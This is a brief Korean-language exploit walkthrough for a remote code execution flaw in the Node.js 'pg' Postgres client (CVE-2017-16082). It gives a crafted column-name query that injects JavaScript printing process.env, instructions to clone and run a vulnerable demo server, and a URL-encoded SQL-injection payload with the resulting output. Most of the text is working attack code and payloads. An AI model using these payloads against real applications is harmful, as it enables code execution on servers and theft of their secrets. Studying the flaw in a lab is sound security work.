
NodeJS + Postgres (원격 코드 실행) 🛰
pg의 영향을 받는 버전에는 원격 데이터베이스나 쿼리가 조작된 컬럼 이름을 지정할 때 발생하는 원격 코드 실행 취약점이 포함되어 있습니다.
애플리케이션이 취약할 가능성이 있는 두 가지 특정 시나리오가 있습니다:
const { Client } = require('pg')
const client = new Client()
client.connect()
const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`
client.query(sql, (err, res) => {
client.end()
})
git clone https://github.com/nulldreams/CVE-2017-16082.git
cd CVE-2017-16082
npm i && node server.js
localhost:5000/api/v1/users?id=1로 요청을 보냅니다.
결과
[
{
"id": 1,
"username": "wubba",
"password": "123",
"createdAt": "2018-11-27T09:19:54.000Z",
"updatedAt": "2018-11-27T09:19:54.000Z"
}
]
이제 다음과 같은 페이로드 1;SELECT 1 AS "\']=0;console.log(process.env)//"를 사용하여 요청을 보내고 URL 인코더로 인코딩합니다.
최종 URL: localhost:5000/api/v1/users?id=1%3BSELECT%201%20AS%20%22%5C%27%5D%3D0%3Bconsole.log(process.env)%2F%2F%22
[
{
"id": 1,
"username": "wubba",
"password": "123",
"createdAt": "2018-11-27T09:19:54.000Z",
"updatedAt": "2018-11-27T09:19:54.000Z"
},
{
"\\": 0
}
]
터미널 서버를 확인하세요.